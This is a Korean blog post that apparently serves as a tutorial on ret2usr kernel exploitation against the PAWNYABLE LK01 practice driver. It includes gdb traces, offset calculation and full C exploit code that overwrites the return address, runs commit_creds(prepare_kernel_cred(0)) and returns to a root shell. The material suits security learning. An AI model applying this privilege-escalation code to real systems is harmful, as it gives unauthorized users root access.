서론
가장 기본적인 커널 익스 기법인 ret2usr에 대해서 알아보자.
간단히 먼저 설명하자면, ret2usr는 stack buffer overflow에서 return to shellcode와 같다고 보면 된다.
본론
우선 테스트는 유명한 커널 익스 사이트인 포냐블의 LK01 파일을 기본으로 한다.
Holstein 모듈 분석 및 취약성 실행 | 전당포! (pawnyable.cafe)
Holsteinモジュールの解析と脆弱性の発火 | PAWNYABLE!
Holsteinモジュールの解析と脆弱性の発火 LK01(Holstein)の章ではKernel Exploitの基礎的な攻撃手法について学びます。導入の章でLK01をダウンロードしていない方は、まず練習問題LK01のファイルをダ
pawnyable.cafe
압축을 풀어보면 2개의 폴더가 나오는데,
하나는 qemu이고 나머지 src는 취약점이 있는 커널 모듈 소스 파일이다.
1. 환경 설정
우선 원활한 디버깅을 위해 환경 설정부터 해보자.
1.1 run.sh
해당 파일은 qemu로 가상 환경을 실행하기 위한 환경설정 파일이다.
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 nopti nokaslr" \
-no-reboot \
-cpu qemu64 \
-smp 1 \
-monitor /dev/null \
-initrd rootfs.cpio \
-net nic,model=virtio \
-net user
nokaslr으로 커널 aslr도 해제되어있고, 다른 특별한 보호기법이 걸려있지 않음을 알 수 있다.
다만 추후 gdb attach를 위해 -s를 추가해주자.
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 nopti nokaslr" \
-no-reboot \
-cpu qemu64 \
-smp 1 \
-monitor /dev/null \
-initrd rootfs.cpio \
-net nic,model=virtio \
-net user \
-s
1.2 init
init 파일의 경우 rootfs.cpio 파일 내에 포함되어있는데, 앞서 공부한 명령어로 압축 해제 후 확인이 가능하다.
┌[wyv3rn🐲]-(~/kernel/pwnyable/LK01/qemu/unzip)
└> cpio -idv < rootfs.cpio
pwnyable 홈페이지에는 /init/init/etc/init.d/S99pawnyable에 해당 파일이 있다고 되어있는데, 실제로는
/etc/init.d/S99pawnyable에 있다.
찾느라 고생했다 -_-
#!/bin/sh
##
## Setup
##
mdev -s
mount -t proc none /proc
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
stty -opost
echo 2 > /proc/sys/kernel/kptr_restrict
#echo 1 > /proc/sys/kernel/dmesg_restrict
##
## Install driver
##
insmod /root/vuln.ko
mknod -m 666 /dev/holstein c `grep holstein /proc/devices | awk '{print $1;}'` 0
##
## User shell
##
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
echo "[ Holstein v1 (LK01) - Pawnyable ]"
setsid cttyhack setuidgid 1337 sh
##
## Cleanup
##
umount /proc
poweroff -d 0 -f
해당 파일에서 처리해줘야할 부분이 몇군데 있는데,
echo 2 > /proc/sys/kernel/kptr_restrict
#echo 1 > /proc/sys/kernel/dmesg_restrict
setsid cttyhack setuidgid 1337 sh
를
#echo 2 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
setsid cttyhack setuidgid 0 sh
으로 변경하자. 차례대로 설명하자면
kptr은 kadr 보호기법이며
0은 제한 없음, 1이면 권한 있는 유저에게만 표시, 2는 모두 숨겨짐이다.
그래서 그냥 주석처리해버렸다.
다음은 dmesg이며 kernel에서 수행 결과 출력 여부 설정이며, 이를 주석 해제했다.
마지막으로 sh 실행 시 권한을 1337에서 0 즉, root으로 변경하였다.
1.3 디버거 셋팅
조금 고생하긴 했는데, 결론만 말하자면 pwndbg를 통한 디버깅만 가능하다.
(물론 다른 advanced gdb로 가능할 것 같긴한데... 잘 안됐다...)
아래 링크를 참고하자.
2023.08.27 - [Kernel Exploit] - kernel debuging with pwndbg - pwndbg 설치
kernel debuging with pwndbg - pwndbg 설치
서론 gef가 익숙하고 편해서 사용하고 있었으나, 무슨 이유인지 모르겠지만 kernel debuging 시 register, stack, code 모든 영역의 값이 제대로 나오지 않는 문제가 발생했다. 지원은 하긴 할텐데 정확히
wyv3rn.tistory.com
2. module source code 분석.
처음이니까 죄다 분석해보자.
2.1 커널 모듈의 시작과 종료.
커널의 시작과 종료는 아래와 같은 명령어로 실행된다.
module_init(module_initialize);
module_exit(module_cleanup);
보통 코드의 가장 아래에 있다.
모듈이 등록될때 init 함수가, 종료될 때 exit 함수가 실행된다.
종료 부분 코드는 아래와 같은데, 여기서는 그냥 넘어가자.
static void __exit module_cleanup(void)
{
cdev_del(&c_dev);
unregister_chrdev_region(dev_id, 1);
}
2.2 시작 함수
결국 중요한건 module_init(module_initialize); 에서 실행되는 module_initialize 함수이고 아래와 같다.
static dev_t dev_id;
static struct cdev c_dev;
static int __init module_initialize(void)
{
if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME)) {
printk(KERN_WARNING "Failed to register device\n");
return -EBUSY;
}
cdev_init(&c_dev, &module_fops);
c_dev.owner = THIS_MODULE;
if (cdev_add(&c_dev, dev_id, 1)) {
printk(KERN_WARNING "Failed to add cdev\n");
unregister_chrdev_region(dev_id, 1);
return -EBUSY;
}
return 0;
}
딱 보면 알 수 있듯 모듈을 생성하고 생성되지 않는 경우 오류 메시지와 함께 종료된다.
이 때 module_fops 구조체와 함께 cdev_init 함수를 실행하는데, 해당 구조체는 또 다른 함수들의 주소를 가지고 있다.
static struct file_operations module_fops =
{
.owner = THIS_MODULE,
.read = module_read,
.write = module_write,
.open = module_open,
.release = module_close,
};
...
cdev_init(&c_dev, &module_fops);
결국 해당 함수가 이 모듈에서 사용할 함수들이 된다.
2.3 module_open
본 함수에서는 커널 힙에 0x400만큼 공간을 할당하고, 만일 오류가 발생하면 에러 메시지와 함께 종료한다.
#define BUFFER_SIZE 0x400
char *g_buf = NULL;
static int module_open(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_open called\n");
g_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL);
if (!g_buf) {
printk(KERN_INFO "kmalloc failed");
return -ENOMEM;
}
return 0;
}
2.4 module_read
여기서는 커널의 값을 유저 공간으로 복사해주는 역할을 한다.
static ssize_t module_read(struct file *file, char __user *buf, size_t count, loff_t *f_pos)
{
char kbuf[BUFFER_SIZE] = { 0 };
printk(KERN_INFO "module_read called\n");
memcpy(kbuf, g_buf, BUFFER_SIZE);
if (_copy_to_user(buf, kbuf, count)) {
printk(KERN_INFO "copy_to_user failed\n");
return -EINVAL;
}
return count;
}
module_read called라는 문자열을 출력한 뒤
memcpy 함수를 통해 g_buf, 즉 앞서 생성한 heap 영역의 값을 0x400만큼 kbuf에 복사한다.
이후 _copy_to_user 함수를 통해 kbuf의 값을 count만큼 buf 공간에 복사해준다.
2.5 module_write
여기서는 반대로 유저 공간의 값을 커널에 복사해주는 역할을 한다.
static ssize_t module_write(struct file *file, const char __user *buf, size_t count, loff_t *f_pos)
{
char kbuf[BUFFER_SIZE] = { 0 };
printk(KERN_INFO "module_write called\n");
if (_copy_from_user(kbuf, buf, count)) {
printk(KERN_INFO "copy_from_user failed\n");
return -EINVAL;
}
memcpy(g_buf, kbuf, BUFFER_SIZE);
return count;
}
유사하게 module_write called 문자열을 출력한 뒤
_copy_from_user 함수를 통해 유저에게서 받은 buf 값을 kbuf에 count만큼 쓴다.
이후 memcpy 함수를 통해 kbuf에 g_buf의 값을 0x400만큼 복사한다.
3. 취약점
뭔가 module_read라고 하니 더 크게 값을 받아들여서 overflow가 발생할 것 같아 보이지만,
취약점은 _copy_from_user 함수를 가지고 있는 module_write 함수에서 발생한다.
유저 공간에서 module_write, 즉 write 함수를 call 할 때 fd, buf, count 값을 유저가 임의로 넣을 수 있고,
_copy_from_user 함수에서는 이를 인자로 kbuf에 값을 쓰기 때문에 kernel buffer overflow가 발생하는 것이다.
4. kernel module test
커널 모듈을 테스트해보자.
간단히 아래와 같이 코딩하였다.
//gcc -o payload payload.c -static
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
int main(){
int fd = open("/dev/holstein", O_RDWR);
char buf[0x400];
char test[0x400];
memset(buf,'A',0x100);
write(fd,buf,0x100);
read(fd,test,0x400);
printf("%s",test);
}
이를 해석해보자면,
buf 변수 0x400, test변수 0x400을 확보해두고
memset을 통해 buf에 A를 0x100만큼 쓴 뒤,
write 함수로 fd에 buf의 값을 쓰고,
read 함수로 test에 fd의 값을 넣는다.
그리고 printf를 출력했다.
이를 rootfs.cpio 파일에 넣고 실행해보면 아래와 같이 출력된다.
Boot took 7.34 seconds
[ Holstein v1 (LK01) - Pawnyable ]
/ # ls
bin init lib64 mnt proc sbin usr
dev key linuxrc opt root sys var
etc lib media payload run tmp
/ # ./payload
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
/ #
현재 모듈에서 선언한 버퍼의 크기는 0x400이기에 이것보다 큰 값을 넣으면 오버플로우가 발생하여 ret address 부분을 침범할 것으로 예상된다.
아래와 같이 수정 후 다시 실행해보았다.
//gcc -o payload payload.c -static
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
int main(){
int fd = open("/dev/holstein", O_RDWR);
char buf[0x400];
char test[0x400];
memset(buf,'A',0x500);
write(fd,buf,0x500);
read(fd,test,0x500);
printf("%s",test);
}
Boot took 7.93 seconds
[ Holstein v1 (LK01) - Pawnyable ]
/ # ls
bin init lib64 mnt proc sbin usr
dev key linuxrc opt root sys var
etc lib media payload run tmp
/ # ./payload
general protection fault: 0000 [#1] PREEMPT SMP NOPTI
CPU: 0 PID: 163 Comm: payload Tainted: G O 5.10.7 #1
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
RIP: 0010:0x4141414141414141
Code: Unable to access opcode bytes at RIP 0x4141414141414117.
RSP: 0018:ffffc90000453eb8 EFLAGS: 00000202
RAX: 0000000000000500 RBX: ffff8880031c9900 RCX: 0000000000000000
RDX: 000000000000007f RSI: ffffc90000453ea8 RDI: ffff888003293000
RBP: 4141414141414141 R08: ffffffff81ea4608 R09: 0000000000004ffb
R10: 00000000fffff000 R11: 3fffffffffffffff R12: 0000000000000500
R13: 0000000000000000 R14: 00007fffa746ae40 R15: ffffc90000453ef8
FS: 00000000004cd3c0(0000) GS:ffff888003800000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00000000004b4b50 CR3: 00000000032b8000 CR4: 00000000000006f0
Call Trace:
Modules linked in: vuln(O)
---[ end trace e3f07a729cddd123 ]---
RIP: 0010:0x4141414141414141
Code: Unable to access opcode bytes at RIP 0x4141414141414117.
RSP: 0018:ffffc90000453eb8 EFLAGS: 00000202
RAX: 0000000000000500 RBX: ffff8880031c9900 RCX: 0000000000000000
RDX: 000000000000007f RSI: ffffc90000453ea8 RDI: ffff888003293000
RBP: 4141414141414141 R08: ffffffff81ea4608 R09: 0000000000004ffb
R10: 00000000fffff000 R11: 3fffffffffffffff R12: 0000000000000500
R13: 0000000000000000 R14: 00007fffa746ae40 R15: ffffc90000453ef8
FS: 00000000004cd3c0(0000) GS:ffff888003800000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00000000004b4b50 CR3: 00000000032b8000 CR4: 00000000000006f0
Kernel panic - not syncing: Fatal exception
Kernel Offset: disabled
┌[root🐲 Wyv3rn]-(~/kernel/pwnyable/LK01/qemu)
└>
커널이 죽어버리며 qemu가 종료되었다.
그럼 어느 위치에서 죽는지 gdb를 붙여서 확인해보면 아래와 같다.
module_write 함수의 주소는 아래와 같고,
/ # cat /proc/kallsyms | grep module_write
ffffffffc0000120 t module_write [vuln]
여기에 브레이크 포인트를 건 뒤
pwndbg> b *0xffffffffc0000120
Breakpoint 1 at 0xffffffffc0000120
pwndbg> c
Continuing.
payload 바이너리 실행.
/ # ./payload
gdb에서 브레이크 포인트가 걸린다.
Breakpoint 1, 0xffffffffc0000120 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────
*RAX 0xffffffffc0000120 ◂— push rbp
*RBX 0xffff888003194300 ◂— 0x0
*RCX 0xffffc9000044bef8 ◂— 0x0
*RDX 0x500
*RDI 0xffff888003194300 ◂— 0x0
*RSI 0x7fff800d45f0 ◂— 0x4141414141414141 ('AAAAAAAA')
*R8 0x3
*R9 0xffff8880032a6ac0 ◂— 0xd21b6
R10 0x0
*R11 0x0
*R12 0x500
R13 0x0
*R14 0x7fff800d45f0 ◂— 0x4141414141414141 ('AAAAAAAA')
*R15 0xffffc9000044bef8 ◂— 0x0
*RBP 0xffffc9000044bee8 —▸ 0xffffc9000044bf20 —▸ 0xffffc9000044bf30 —▸ 0xffffc9000044bf48 ◂— 0x0
*RSP 0xffffc9000044beb0 —▸ 0xffffffff8113d4d2 ◂— mov r13, rax
*RIP 0xffffffffc0000120 ◂— push rbp
────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────
► 0xffffffffc0000120 push rbp
0xffffffffc0000121 mov rbp, rsp
0xffffffffc0000124 sub rsp, 0x420
0xffffffffc000012b mov qword ptr [rbp - 0x408], rdi
0xffffffffc0000132 mov qword ptr [rbp - 0x410], rsi
0xffffffffc0000139 mov qword ptr [rbp - 0x418], rdx
0xffffffffc0000140 mov qword ptr [rbp - 0x420], rcx
0xffffffffc0000147 mov qword ptr [rbp - 0x400], 0
0xffffffffc0000152 lea rdx, [rbp - 0x3f8]
0xffffffffc0000159 mov eax, 0
0xffffffffc000015e mov ecx, 0x7f
──────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────
00:0000│ rsp 0xffffc9000044beb0 —▸ 0xffffffff8113d4d2 ◂— mov r13, rax
01:0008│ 0xffffc9000044beb8 —▸ 0xffffffff8114cd87 ◂— mov r12, qword ptr [rbp - 8]
02:0010│ 0xffffc9000044bec0 —▸ 0xffff888003194300 ◂— 0x0
03:0018│ 0xffffc9000044bec8 —▸ 0xffff888003194300 ◂— 0x0
04:0020│ 0xffffc9000044bed0 —▸ 0x7fff800d45f0 ◂— 0x4141414141414141 ('AAAAAAAA')
05:0028│ 0xffffc9000044bed8 ◂— 0x500
06:0030│ 0xffffc9000044bee0 ◂— 0x0
07:0038│ rbp 0xffffc9000044bee8 —▸ 0xffffc9000044bf20 —▸ 0xffffc9000044bf30 —▸ 0xffffc9000044bf48 ◂— 0x0
────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────
► 0 0xffffffffc0000120
1 0xffffffff8113d4d2
2 0xffffffff8114cd87
3 0xffff888003194300
4 0xffff888003194300
5 0x7fff800d45f0
6 0x500
7 0x0
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>
해당 시작점부터 어셈블러 코드를 보면 아래와 같고
ret 부분에서 터질 것으로 예상할 수 있기에 여기에 다시 브레이크 포인트를 걸고 스택의 모양을 보자.
pwndbg> x/60i 0xffffffffc0000120
=> 0xffffffffc0000120: push %rbp
0xffffffffc0000121: mov %rsp,%rbp
0xffffffffc0000124: sub $0x420,%rsp
...
0xffffffffc0000203: rep movsq %ds:(%rsi),%es:(%rdi)
0xffffffffc0000206: mov -0x418(%rbp),%rax
0xffffffffc000020d: leave
0xffffffffc000020e: ret
pwndbg> b *0xffffffffc000020e
Breakpoint 2 at 0xffffffffc000020e
pwndbg> c
Continuing.
Breakpoint 2, 0xffffffffc000020e in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────
*RAX 0x500
RBX 0xffff888003194300 ◂— 0x0
*RCX 0x0
*RDX 0x7f
*RDI 0xffff8880030f2000 ◂— 0x830002000005
*RSI 0xffffc9000044bea8 ◂— 0x4141414141414141 ('AAAAAAAA')
*R8 0xffffffff81ea4608 ◂— 0xc0000000ffffefff
*R9 0x4ffb
*R10 0xfffff000
*R11 0x3fffffffffffffff
R12 0x500
R13 0x0
R14 0x7fff800d45f0 ◂— 0x4141414141414141 ('AAAAAAAA')
R15 0xffffc9000044bef8 ◂— 0x4141414141414141 ('AAAAAAAA')
*RBP 0x4141414141414141 ('AAAAAAAA')
RSP 0xffffc9000044beb0 ◂— 0x4141414141414141 ('AAAAAAAA')
*RIP 0xffffffffc000020e ◂— ret
────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────
► 0xffffffffc000020e retq <0x4141414141414141>
──────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────
00:0000│ rsp 0xffffc9000044beb0 ◂— 0x4141414141414141 ('AAAAAAAA')
... ↓ 7 skipped
────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────
► 0 0xffffffffc000020e
1 0x4141414141414141
2 0x4141414141414141
3 0x4141414141414141
4 0x4141414141414141
5 0x4141414141414141
6 0x4141414141414141
7 0x4141414141414141
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>
이 때 오프셋을 확인해보면 아래와 같다.
pwndbg> x/40gx 0xffffc9000044beb0-0x500
0xffffc9000044b9b0: 0x0000000000000246 0x0000000000000020
0xffffc9000044b9c0: 0xffff888003194300 0xffffffffc0001090
0xffffc9000044b9d0: 0xffffc9000044ba30 0x00007fff800d45f0
0xffffc9000044b9e0: 0xffffc9000044bef8 0xffffc9000044b9f8
0xffffc9000044b9f0: 0xffffffff8108f908 0xffffc9000044ba20
0xffffc9000044ba00: 0xffffffff81090345 0xffffffff81e8e210
0xffffc9000044ba10: 0x0000000000000500 0x0000000000000000
0xffffc9000044ba20: 0xffffc9000044ba78 0xffffffff815e6b48
0xffffc9000044ba30: 0xffffffff00000008 0xffffc9000044ba88
0xffffc9000044ba40: 0xffffc9000044ba48 0x0000000000000000
0xffffc9000044ba50: 0x00007fff800d45f0 0xffffffff8125c351
0xffffc9000044ba60: 0xffff888003194300 0x0000000000000500
0xffffc9000044ba70: 0x0000000000000000 0xffffc9000044bea8
0xffffc9000044ba80: 0xffffffffc0000195 0xffffc9000044bef8
0xffffc9000044ba90: 0x0000000000000500 0x00007fff800d45f0
0xffffc9000044baa0: 0xffff888003194300 0x4141414141414141
0xffffc9000044bab0: 0x4141414141414141 0x4141414141414141
0xffffc9000044bac0: 0x4141414141414141 0x4141414141414141
0xffffc9000044bad0: 0x4141414141414141 0x4141414141414141
0xffffc9000044bae0: 0x4141414141414141 0x4141414141414141
pwndbg> p/x 0xffffc9000044beb0-0xffffc9000044baa8
$1 = 0x408
즉, 0x408 이후 8 byte가 ret address가 된다. (rbp 다음 8바이트가 ret 이니까)
5. payload 작성
이제 권한 상승을 해보자.
앞서 공부한 것과 같이 commit_creds(prepare_kernel_cred(0)) 함수를 실행하는 것이 목적이다.
해당 함수들의 주소는 /proc/kallsyms에서 구할 수 있다.
/ # cat /proc/kallsyms | grep commit_creds
ffffffff8106e390 T commit_creds
/ # cat /proc/kallsyms | grep prepare_kernel_cred
ffffffff8106e240 T prepare_kernel_cred
대략적으로 해당 함수가 실행되도록 하는 코드를 작성해보면 아래와 같다.
//gcc -o payload payload.c -static
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned long cred);
unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred);
#define BUFFER_SIZE 0x400
void payload(){
commit_creds = 0xffffffff8106e390;
prepare_kernel_cred = 0xffffffff8106e240;
commit_creds(prepare_kernel_cred(0));
}
int main(){
int fd;
char buf[BUFFER_SIZE+0X100];
memset(buf,'A',BUFFER_SIZE);
*(unsigned long*)&buf[BUFFER_SIZE+8] = &payload;
fd=open("/dev/holstein", O_RDWR);
write(fd,buf,0x500);
}
다만, 직접적으로 해당 함수만 실행하면 오류가 발생하는데,
일부 명령어를 추가하여 스택을 저장하거나, 사용자 공간과 쉘을 실행시켜주는 코드가 필요하다.
이를 추가해보면 아래와 같다.
//gcc -o payload payload.c -static -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
unsigned long user_cs, user_ss, user_rsp, user_rflags;
unsigned long prepare_kernel_cred = 0xffffffff8106e240;
unsigned long commit_creds = 0xffffffff8106e390;
static void win() {
puts("[+] win!");
execl("/bin/sh", "sh", NULL);
}
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags));
}
static void restore_state() {
asm("swapgs ;"
"movq %0, 0x20(%%rsp)\t\n"
"movq %1, 0x18(%%rsp)\t\n"
"movq %2, 0x10(%%rsp)\t\n"
"movq %3, 0x08(%%rsp)\t\n"
"movq %4, 0x00(%%rsp)\t\n"
"iretq"
:
: "r"(user_ss), "r"(user_rsp), "r"(user_rflags), "r"(user_cs), "r"(win));
}
static void escalate_privilege() {
char* (*pkc)(int) = (void*)(prepare_kernel_cred);
void (*cc)(char*) = (void*)(commit_creds);
(*cc)((*pkc)(0));
restore_state();
}
void fatal(const char *msg) {
perror(msg);
exit(1);
}
int main() {
save_state();
int fd = open("/dev/holstein", O_RDWR);
if (fd == -1) fatal("open(\"/dev/holstein\")");
char buf[0x410];
memset(buf, 'A', 0x410);
*(unsigned long*)&buf[0x408] = (unsigned long)&escalate_privilege;
write(fd, buf, 0x410);
close(fd);
return 0;
}
6. exploit
기존에 환경 설정을 하며 qemu 실행 시 root 권한으로 실행되도록 하였다.
더불어 각종 보호기법도 함께 적용하였는데, 이를 모두 제거하고 다시 페이로드를 실행해보자.
/etc/init.d/S99pawnyable 파일을 다시 복구해준다.
echo 2 > /proc/sys/kernel/kptr_restrict
#echo 1 > /proc/sys/kernel/dmesg_restrict
...
setsid cttyhack setuidgid 1337 sh
qemu 실행 후 페이로드 실행.
[ Holstein v1 (LK01) - Pawnyable ]
/ $ id
uid=1337 gid=1337 groups=1337
/ $ ./payload
[+] win
/ # id
uid=0(root) gid=0(root)
/ #
7. 마치며
대부분 이해하긴 했지만, 아직 많이 부족한 것 같다.
특히 페이로드를 작성하기 위해 기본적으로 c를 일정 수준 이상 다뤄야하는데, 많이 부족한 듯... ㅠㅠ
'Kernel Exploit' 카테고리의 다른 글
Kernel - SMEP 우회, cr4 overwrite (0) | 2023.09.08 |
---|---|
Kernel - SMEP 우회, krop (0) | 2023.09.07 |
kernel debuging with pwndbg - pwndbg 설치 (0) | 2023.08.27 |
rootfs.cpio 파일 추가 shell script (0) | 2023.08.21 |
Kernel 보호기법 및 우회법 (0) | 2023.08.20 |